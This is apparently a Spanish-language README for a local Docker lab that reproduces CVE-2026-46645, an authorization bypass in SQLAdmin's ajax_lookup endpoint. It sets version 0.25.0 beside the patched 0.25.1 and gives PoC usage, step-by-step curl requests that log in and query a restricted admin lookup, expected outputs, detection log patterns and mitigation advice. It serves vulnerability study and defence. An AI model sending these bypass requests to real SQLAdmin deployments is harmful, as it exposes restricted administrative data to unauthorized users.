
Laboratorio basado en Docker para reproducir CVE-2026-46645, una omisión de autorización en el endpoint ajax_lookup de SQLAdmin. Incluye objetivos vulnerable y parcheado, script PoC y pasos de reproducción manual con curl para investigación y educación en seguridad.
Este repositorio contiene un laboratorio Docker local para reproducir CVE-2026-46645, una vulnerabilidad de bypass de autorización que afecta al endpoint ajax_lookup de SQLAdmin.
SQLAdmin es una interfaz de administración para modelos de SQLAlchemy en aplicaciones Starlette y FastAPI. El comportamiento vulnerable ocurre cuando una aplicación restringe un ModelView con is_accessible(request), pero la ruta ajax_lookup de SQLAdmin no aplica la misma decisión de control de acceso antes de devolver los resultados de la búsqueda.
Este laboratorio compara dos versiones de SQLAdmin:
| Servicio | Versión de SQLAdmin | Propósito | URL |
|---|
vuln | 0.25.0 | Objetivo vulnerable | http://127.0.0.1:8001 |
patched | 0.25.1 | Objetivo de comparación parcheado | http://127.0.0.1:8002 |
La cadena de vulnerabilidad demostrada es:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403
El laboratorio usa intencionalmente un modelo de datos simple de `Report` / `SecretProject` para que la omisión de autorización sea fácil de entender. Estos nombres de modelos no son la causa raíz de la vulnerabilidad. Solo se utilizan para crear una condición de reproducción controlada.
Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración de portafolio.
## Datos verificados
| Afirmación | Evidencia | Cómo verificar en este laboratorio |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------- |
| El endpoint `ajax_lookup` de SQLAdmin es el componente afectado. | El aviso público describe el formato del endpoint afectado como `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | Ejecute el PoC y observe las solicitudes a `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` se utiliza como el objetivo vulnerable de comparación. | El laboratorio instala `sqladmin==0.25.0` en el contenedor `vuln`. | Ejecute `docker compose exec -T vuln python -m pip show sqladmin`. |
| SQLAdmin `0.25.1` se utiliza como el objetivo parcheado de comparación. | El aviso público y las notas de publicación identifican `0.25.1` como la versión corregida. | Ejecute `docker compose exec -T patched python -m pip show sqladmin`. |
| La causa raíz está en la ruta `Admin.ajax_lookup()` de SQLAdmin. | El parche agrega autenticación faltante y aplicación de `is_accessible(request)` a `ajax_lookup()`. | Inspeccione `Admin.ajax_lookup()` dentro de ambos contenedores con los comandos en este README. |
| El laboratorio crea un `ModelView` restringido. | `ReportAdmin.is_accessible(request)` devuelve intencionalmente `False`. | Inspeccione `app/main.py`. |
| El PoC utiliza una sesión autenticada. | El PoC primero inicia sesión en `/admin/login`, mantiene la cookie de sesión y luego solicita `ajax_lookup`. | Ejecute `python3 poc/poc.py --base-url http://127.0.0.1:8001`. |
| La señal vulnerable es la exposición de datos. | SQLAdmin `0.25.0` devuelve HTTP 200 y resultados de búsqueda JSON desde una vista restringida. | El objetivo vulnerable debería devolver `Secret Project Alpha` y `Secret Project Beta`. |
| La señal parcheada es la denegación de acceso. | SQLAdmin `0.25.1` devuelve HTTP 403 para la misma solicitud autenticada. | El objetivo parcheado debería devolver `403 Forbidden`. |
## Supuestos y Desconocidos
Este laboratorio utiliza `sqladmin==0.25.0` como línea base vulnerable y `sqladmin==0.25.1` como línea base parcheada.
El laboratorio se centra en la condición de omisión de autorización donde:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
El laboratorio no intenta reproducir todos los patrones de implementación posibles de SQLAdmin. Crea intencionalmente una pequeña aplicación Starlette con una vista de administración restringida para que la diferencia de comportamiento entre las versiones vulnerables y parcheadas sea fácil de verificar.
Los modelos Report y SecretProject son objetos solo del laboratorio. No forman parte de SQLAdmin en sí.
El PoC no intenta escalada de privilegios, modificación de datos, robo de sesiones, callbacks externos, persistencia o ataques contra sistemas que no sean del laboratorio.
La causa raíz está en la ruta Admin.ajax_lookup() de SQLAdmin ascendente, no en el código de la aplicación de este laboratorio.
SQLAdmin permite a los desarrolladores restringir el acceso a las vistas de administración sobrescribiendo:```python ModelView.is_accessible(request)
Se espera que otras rutas de administración apliquen esta decisión de control de acceso antes de permitir que la solicitud continúe. Por ejemplo, rutas como list, create, details, delete, edit y export verifican si la solicitud actual puede acceder al destino `ModelView`.
La ruta vulnerable `ajax_lookup` no aplicó la misma decisión de control de acceso.
El endpoint `ajax_lookup` es utilizado por la función `form_ajax_refs` de SQLAdmin para cargar dinámicamente valores de relaciones. Su formato de endpoint es:
``````text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
En la versión vulnerable, ajax_lookup() resuelve el ModelView objetivo, lee el nombre del campo de búsqueda y el término de búsqueda de la cadena de consulta, luego llama al cargador AJAX y devuelve resultados JSON. El paso de seguridad faltante es que no verifica primero si la solicitud actual tiene permiso para acceder a ese ModelView.
El impacto de seguridad es que un usuario autenticado puede tener bloqueado el acceso a una vista de administración restringida a través de rutas de UI normales, pero aún puede solicitar directamente el endpoint de búsqueda AJAX para esa vista y recibir datos de relaciones.
SQLAdmin 0.25.1 corrige esto aplicando control de acceso dentro de ajax_lookup(). La ruta parcheada verifica model_view.is_accessible(request) y devuelve HTTP 403 cuando la vista objetivo no es accesible.
Este laboratorio define ReportAdmin.is_accessible(request) para que devuelva False solo para reproducir la condición vulnerable. El código del laboratorio no es la causa raíz. Es un entorno de prueba controlado que demuestra si la ruta ajax_lookup() de SQLAdmin respeta la decisión de control de acceso.
Diferencia de comportamiento esperada:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden
## Resumen del parche ascendente
El parche ascendente significativo es la adición de la aplicación de autenticación y autorización a `Admin.ajax_lookup()`.
El comportamiento parcheado es equivalente a:```python
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
La verificación de autorización clave es:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
El laboratorio demuestra que esta comprobación está ausente en la versión vulnerable y presente en la versión parcheada.
## Arquitectura del laboratorio
El laboratorio ejecuta dos aplicaciones Starlette aisladas mediante Docker Compose.```text
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
Los dos servicios ejecutan el mismo código de aplicación pero instalan diferentes versiones de SQLAdmin:
| Service | Package version | Port mapping |
|---|---|---|
vuln | sqladmin==0.25.0 | 127.0.0.1:8001 -> 8000 |
patched | sqladmin==0.25.1 | 127.0.0.1:8002 -> 8000 |
La aplicación crea dos modelos de SQLAlchemy:```text SecretProject Report
`Report` tiene una relación con `SecretProject`:```text
Report.project -> SecretProject
ReportAdmin define una búsqueda de relación AJAX:```python
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
La vista de administrador restringida es:```python
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
Esto crea intencionalmente la condición necesaria para probar si la ruta ajax_lookup() de SQLAdmin aplica is_accessible().
El endpoint vulnerable utilizado por el PoC es:```text /admin/report/ajax/lookup?name=project&term=Secret
Credenciales predeterminadas del laboratorio:```text
username: analyst
password: lab-password
requests de Python para ejecutar el PoC desde el hostcurl para reproducción manual de HTTPInstale la dependencia del PoC en el host si es necesario:```bash python3 -m pip install requests
## Inicio rápido
Construye e inicia el laboratorio:```bash
docker compose down --remove-orphans
docker compose up --build -d
Verificar el estado del contenedor:```bash docker compose ps
Servicios expuestos esperados:```text
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
Verificar los endpoints de salud:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health
Ambos deberían devolver:```json
{"status":"ok"}
Abre la interfaz de administración en un navegador si lo deseas:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin
Credenciales de inicio de sesión:```text
analyst / lab-password
Ejecuta el PoC contra el servicio vulnerable:```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"
Ejecute el mismo PoC contra el servicio parcheado:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
El PoC realiza estos pasos:```text
El PoC imprime intencionalmente el flujo de solicitud y respuesta para que la omisión de autorización sea visible para el lector.
## Reproducción manual HTTP con curl
Puede reproducir la vulnerabilidad manualmente sin usar `poc/poc.py`.
Esto es útil cuando desea mostrar el flujo HTTP exacto:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
Establece la URL del objetivo vulnerable:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
Inicia sesión como usuario del laboratorio y guarda la cookie de sesión:```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
Envía la solicitud ajax_lookup restringida:```bash
curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
Resultado vulnerable esperado:```http
HTTP/1.1 200 OK
content-type: application/json
Cuerpo esperado:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
Esto confirma el comportamiento vulnerable porque la solicitud está autenticada, `ReportAdmin.is_accessible(request)` devuelve `False`, pero SQLAdmin `0.25.0` todavía devuelve datos de búsqueda.
### Objetivo parcheado
Establece la URL del objetivo parcheado:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
Inicia sesión como el mismo usuario del laboratorio:```bash
curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"
Envíe la misma solicitud `ajax_lookup` restringida:```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
Resultado esperado tras el parche:```http HTTP/1.1 403 Forbidden
Esto confirma el comportamiento corregido porque SQLAdmin `0.25.1` aplica la verificación faltante `ModelView.is_accessible(request)` dentro de `ajax_lookup()`.
### Comparación en una línea
Servicio vulnerable:```bash
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
Servicio parcheado:```bash
curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
Comparación esperada:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'
Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=
Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}
Security condition:
Response: HTTP status : 200 Content-Type : application/json
Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.
Objetivo parcheado:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
El PoC utiliza la biblioteca requests de Python y un objeto persistente requests.Session().
Primero, se autentica en SQLAdmin:```text POST /admin/login
con las credenciales del laboratorio:```text
analyst / lab-password
Después del inicio de sesión, el objeto session mantiene la cookie de sesión devuelta.
Luego el PoC envía la solicitud de búsqueda AJAX restringida:```text GET /admin/report/ajax/lookup?name=project&term=Secret
En la aplicación de laboratorio, esta solicitud tiene como objetivo `ReportAdmin`. `ReportAdmin` es intencionadamente inaccesible:```python
def is_accessible(self, request):
return False
Esta es la condición del laboratorio. No es la vulnerabilidad upstream.
La pregunta de seguridad que se está probando es:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
En SQLAdmin `0.25.0`, el endpoint devuelve HTTP 200 y resultados de búsqueda JSON. Esto confirma el comportamiento vulnerable.
En SQLAdmin `0.25.1`, el endpoint devuelve HTTP 403. Esto confirma el comportamiento corregido.
## Comandos de verificación útiles
Verificar contenedores en ejecución:```bash
docker compose ps
Verifique los registros del servicio:```bash docker compose logs vuln patched
Verificar las versiones instaladas de SQLAdmin:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
Versiones esperadas:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1
Ejecuta el PoC de nuevo:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
python3 poc/poc.py
--base-url http://127.0.0.1:8002
--label "sqladmin 0.25.1 patched"
Guardar salida de evidencia:```bash
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
Inspeccione la fuente vulnerable instalada:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application
print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY
Inspecciona el código fuente parcheado instalado:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
La versión vulnerable no debe aplicar model_view.is_accessible(request) dentro de ajax_lookup().
La versión corregida debe incluir una verificación de autorización equivalente a:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
## Detección y Monitoreo
En una aplicación real que usa SQLAdmin, la actividad sospechosa puede aparecer como solicitudes directas a endpoints de búsqueda AJAX:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
Para este laboratorio, los indicadores de registro útiles incluyen:```text GET /admin/report/ajax/lookup?name=project&term=Secret
Patrón de registro vulnerable esperado:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
Patrón de registro parcheado esperado:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
Posibles ideas de monitoreo en producción:
* revisar el acceso directo a los endpoints `/ajax/lookup`,
* comparar el acceso de búsqueda con los flujos de trabajo esperados de la interfaz de administración,
* monitorear términos de búsqueda repetidos desde cuentas con pocos privilegios,
* revisar si las clases sensibles `ModelView` usan `form_ajax_refs`,
* verificar si las vistas de modelo restringidas aún están expuestas a través de búsquedas de relaciones.
## Mitigación y Notas del Parche
Actualice SQLAdmin a `0.25.1` o posterior.
El parche agrega la aplicación de control de acceso faltante a la ruta `ajax_lookup`. El endpoint parcheado verifica si la solicitud actual tiene permiso para acceder al `ModelView` objetivo. Si `is_accessible(request)` devuelve `False`, la solicitud se bloquea con HTTP 403.
Recomendaciones de fortificación a nivel de aplicación:
* actualizar SQLAdmin a una versión parcheada,
* revisar todas las implementaciones personalizadas de `ModelView.is_accessible()`,
* evitar exponer búsquedas de relaciones sensibles a través de `form_ajax_refs` a menos que sea necesario,
* probar las vistas de administración restringidas tanto a través de rutas normales de UI como de rutas de búsqueda AJAX,
* monitorear el acceso a los endpoints `/admin/*/ajax/lookup`,
* asegurarse de que la autenticación de administración y el manejo de sesiones estén configurados correctamente.
## Limpieza
Detener y eliminar contenedores y redes:```bash
docker compose down --remove-orphans
Eliminar contenedores, redes y volúmenes anónimos:```bash docker compose down -v --remove-orphans
Elimina las imágenes construidas localmente si lo deseas:```bash
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
Eliminar archivos de evidencia si se desea:```bash rm -rf evidence/
## Límites de Seguridad
Este laboratorio es solo para investigación de seguridad local y demostración controlada.
No ejecute el PoC contra sistemas que no posea o para los que no tenga permiso de prueba.
No use credenciales reales, secretos de producción o objetivos externos en este laboratorio.
El PoC está intencionalmente limitado a servicios locales de Docker, como:```text
http://127.0.0.1:8001
http://127.0.0.1:8002
El PoC no incluye cargas útiles para el robo de credenciales, modificación de datos, persistencia, movimiento lateral o devoluciones de llamada externas.
El objetivo es demostrar una condición específica de omisión de autorización en un entorno controlado:```text authenticated user
## Referencias
- Base de datos de avisos de GitHub: Bypass de autorización de SQLAdmin en ajax_lookup
https://github.com/advisories/GHSA-54mc-gghv-4cfj
- Aviso OSV: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
- Lanzamiento de SQLAdmin 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
- Comparación de SQLAdmin: 0.25.0 a 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
- SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
- SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
- Pruebas de autenticación de SQLAdmin
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
- Pruebas AJAX de SQLAdmin
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
- PyPI: sqladmin
https://pypi.org/project/sqladmin/
- Repositorio de GitHub de SQLAdmin
https://github.com/smithyhq/sqladmin